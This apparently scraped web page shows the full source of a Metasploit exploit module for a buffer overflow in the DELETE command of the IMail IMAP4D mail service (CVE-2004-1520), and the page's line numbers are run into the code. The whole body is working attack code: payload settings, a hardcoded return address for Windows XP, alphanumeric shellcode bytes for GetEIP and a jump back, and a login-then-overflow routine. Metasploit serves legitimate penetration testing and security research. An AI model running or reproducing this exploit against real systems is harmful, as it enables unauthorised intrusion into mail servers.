Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/imap/imail_delete.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Imap910def initialize(info = {})11super(update_info(info,12'Name' => 'IMail IMAP4D Delete Overflow',13'Description' => %q{14This module exploits a buffer overflow in the 'DELETE'15command of the IMail IMAP4D service. This vulnerability16can only be exploited with a valid username and password.17This flaw was patched in version 8.14.18},19'Author' => [ 'spoonm' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'CVE', '2004-1520'],24[ 'OSVDB', '11838'],25[ 'BID', '11675'],26],27'Privileged' => true,28'DefaultOptions' =>29{30'EXITFUNC' => 'thread',31},32'Payload' =>33{34'Space' => 614,35'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),36'StackAdjustment' => -3500,37'EncoderOptions' =>38{39'BufferRegister' => 'EDX',40}41},42'Platform' => 'win',43'Targets' =>44[45# alphanum rets :(, will look more into it later46['Windows XP sp0 comctl32.dll', { 'Ret' => 0x77364650 }],47],48'DisclosureDate' => '2004-11-12',49'DefaultTarget' => 0))50end5152def exploit53connect_login5455print_status("Sending overflow string...")56req = 'A683 DELETE '57req << payload.encoded5859# Jump over code60req << "\x74\x32\x75\x30"61req << [target.ret].pack('V')62req << rand_text_alphanumeric(44)6364# GetEIP code65req << "\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x5a\x6a\x31\x59"66req << "\x6b\x42\x34\x49\x30\x42\x4e\x42\x49\x75\x50\x4a\x4a\x52\x52\x59"6768# Alphanumeric jmp back (edx context)69req << "\x6a\x6a\x58\x30\x42\x31\x50\x41\x42\x6b\x42\x41"70req << "\x7a\x42\x32\x42\x41\x32\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50"71req << "\x75\x4a\x49\x52\x7a\x71\x4a\x4d\x51\x7a\x4a\x6c\x55\x66\x62\x57"72req << "\x70\x55\x50\x4b\x4f\x6b\x52\x6a"7374# Run off the stack, so we don't kill our payload, or something...75req << rand_text_alphanumeric(600)7677# Terminate the request78req << "\r\n"7980sock.put(req)8182handler83disconnect84end85end868788